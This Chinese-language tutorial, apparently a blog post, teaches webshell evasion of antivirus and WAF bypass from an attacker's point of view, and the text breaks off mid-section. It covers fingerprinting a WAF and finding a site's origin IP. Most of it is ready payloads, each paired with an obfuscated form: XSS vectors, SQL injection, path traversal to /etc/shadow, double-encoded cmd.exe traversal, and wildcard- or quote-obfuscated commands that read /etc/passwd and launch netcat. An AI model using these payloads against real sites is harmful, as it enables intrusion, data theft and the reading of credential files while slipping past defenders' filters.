• WebShell 木马免杀过WAF


    就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。

    防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

    一、WAF简介

    什么是WAF

    Waf是web应用防火墙( Web Application Firewa‖l)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。waf属于检测型及纠正型防御控制措施。waf分为硬件waf、软件waf( ModSecurity)、代码级waf。

    WAF的原理

    waf对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

    waf工作在web服务器之前,对基于HTTP协议的通信进行检测和识别。通俗的说,waf类似于地铁站的安检,对于HTTP请求进行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进行判断,判断的结果作为是否拦截的依据从而决定是否放行。

    总结使用WAF的原因

    1. 深度防御策略;

    2. 检测并阻止针对易受攻击的Web应用程序的攻击;

    3. 防范各种漏洞;

    4. 保护公司的网络环境。

    受欢迎的WAF供应商

    如何找到WAF类型和真实IP地址

    1.使用shodan.io或censys.io

    2.搜索SPF记录和TXT记录。SPF和TXT记录可能存在原始的IP地址。

    3.也可以在“历史数据”中进行检索,在旧记录中可能具有原始IP。查找域名、IP地址等历史数据:securitytrails.com

    如何证明WAF已经正确设置

    WAF使用标准端口80、443、8000、8008、8080和8088端口;

    WAF在请求中设置自己的cookie;

    WAF将自己与单独的标头关联;

    WAF在服务器标头中公开自己;

    WAF在响应内容中公开自己;

    WAF会根据恶意请求以唯一的响应代码进行响应;

    从浏览器发送标准GET请求,拦截并记录响应头(特定的cookie);

    从命令行发送请求(例如cURL),然后检查响应内容和标头;

    将GET请求发送到随机打开的端口,并检查可能暴露WAF身份的标语;

    尝试一些SQL注入playload,例如:“”或1 = 1-登录表单或忘记密码;

    在某些输入字段中尝试使用XSS有效playload,例如 confirm();

    尝试将../../../etc/passwd添加到URL地址中的随机参数中;

    将URL末尾的一些有效playload(例如“ OR SLEEP(5)OR)”添加到url作为随机参数;

    使用过时的协议(例如HTTP / 0.9)发送GET请求(HTTP / 0.9不支持POST类型的查询);

    根据不同类型的交互检查服务器标头;

    将原始的FIN&RST数据包发送到服务器并识别响应;

    边通道攻击–检查请求和响应内容的计时行为;

    检查和绕过WAF的工具

    w3af — Web应用程序攻击和审核框架wafw00f —识别和指纹Web应用程序防火墙BypassWAF –通过滥用DNS历史记录来绕过防火墙。该工具将搜索旧的DNS A记录,并检查服务器是否对该域进行答复。 CloudFail –是一种战术侦察工具,试图在Cloudflare WAF后面找到原始IP地址。

    绕过WAF的技术

    (1)请求真实ip绕过waf:部分watf部署架构的特性,部分waf并不是直接串在目标站点线路上,而是通过DNS解析的形式部署,此时可以先探测到目标站点的真实ip直接请求ip以此绕过waf的检测;

    (2)检测内容范围绕过:waf性能限制,检测特定内容前几k或几十K的内容,然后在此特定内容段内填充物用数据, payload放于物用数据后,以此绕过检测;

    (3)协议盲区绕过:waf根据自己的防御策略所支持的协议特性,针对该协议内的请求进行检查,但是存在一些协议检测或协议运行机制上的缺陷导致被绕过,例如协议未覆盖、协议解析不正确、协议解析遗漏等;

    (4)检测规则绕过:waf工程师规则编写经验、规则覆盖面等问题,来绕过检测,例如利用 MySQL对一些特殊字符处理的特性、语法特性绕过。

    二、PHP免杀

    传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

    大小写转换技术

    组合大写和小写字符以创建有效的有效内容。

    原型:

    <script>confirm()script>

    绕过的技术:

    <ScrIpT>confirm()sCRiPt>

    原型:

    SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'

    绕过的技术:

    sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'

    URL中的示例:

    http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

    URL编码技术

    使用%编码/ URL编码对普通有效载荷进行编码,也可以使用Burp。它具有编码器/解码器工具。

    被WAF阻止:

    <Svg/x=">"/OnLoAD=confirm()//

    绕过的技术:

    %3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

    被WAF阻止:

    UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)

    绕过的技术:

    UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

    URL中的示例:

    https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

    unicode技术

    Unicode编码的ASCII字符为我们提供了绕过WAF的绝佳变体,对整个或部分有效载荷进行编码以获得结果。

    原型:

    <marquee onstart=prompt()>

    混淆:

    <marquee onstart=u0070ru06fu006dpt()>

    被WAF阻止:

    /?redir=http://google.com

    绕过的技术:

    /?redir=http://google。com (Unicode alternative)

    被WAF阻止:

    <marquee loop=1 onfinish=alert()>x

    绕过的技术:

    <marquee loop1 onfinish=alert︵1)>x (Unicode alternative)

    原型:

    ../../etc/shadow

    混淆:

    %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

    源代码再次编码

    base64编码

    将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:

    键值对变形

    这次的变形是在数组中键值对变形,很强。

    HTML编码技术

    Web应用将特殊字符编码为HTML,对它们进行编码和渲染。基本的绕过情况,带有HTML编码的数字和通用编码。

    原型:

    "><img src=x onerror=confirm()>

    编码有效载荷:

    "><img src=x onerror=confirm()> 

    编码有效载荷:

    "><img src=x onerror=confirm()>

    混合编码技术

    这样的规则通常倾向于滤除特定类型的编码,混合编码有效载荷可绕过此类过滤器。

    换行符和选项卡,进一步增加了混淆。

    混淆负载:

    1. <A HREF="h
    2. tt p://6 6.000146.0x7.147/">XSSA>

    使用注释技术

    注释使标准有效载荷向量模糊不清,不同的有效载荷具有不同的混淆方式。

    被WAF阻止:

    <script>confirm()script>

    绕过的技术:

    <script>confirm/**/()/**/script>

    被WAF阻止:

    /?id=1+union+select+1,2--

    绕过的技术:

    /?id=1+un/**/ion+sel/**/ect+1,2--
    • 在攻击字符串中间插入注释。例如,/ *!SELECT * /可能会被WAF忽略,但会传递到目标应用程序并由mysql数据库进行处理。

    URL中的示例:

    1. index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4   
    2.    'union%a0select pass from users#

    URL中的示例:

    index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

    双重编码技术

    Web应用程序防火墙策略倾向于对字符进行编码以保护Web应用程序,较差的过滤器(没有递归过滤器)可以通过双重编码来绕过。

    原型:

    http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:

    混淆负载:

    http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:

    原型:

    <script>confirm()script>

    混淆负载:

    %253Cscript%253Econfirm()%253C%252Fscript%253E

    通配符混淆技术

    各种命令行实用程序使用全局模式来处理多个文件,我们可以更改它们以运行系统命令。

    原型:

    /bin/cat /etc/passwd

    混淆负载:

    /???/??t /???/??ss??

    二手字符:

    / ? t s

    原型:

    /bin/nc 127.0.0.1 443

    混淆负载:

    /???/n? 2130706433 443

    二手字符:

    / ? n [0-9]

    动态有效载荷生成技术:

    编程语言具有不同的连接模式和语法,这使我们能够生成可以绕过许多过滤器和规则的有效载荷。

    原型:

    <script>confirm()script>

    混淆负载:

    <script>eval('con'+'fi'+'rm()')script>

    基本要求:

    /bin/cat /etc/shadow

    混淆负载:

    /bi'n'''/c''at' /e'tc'/sh''ad'ow

    Bash允许执行路径串联。

    原型: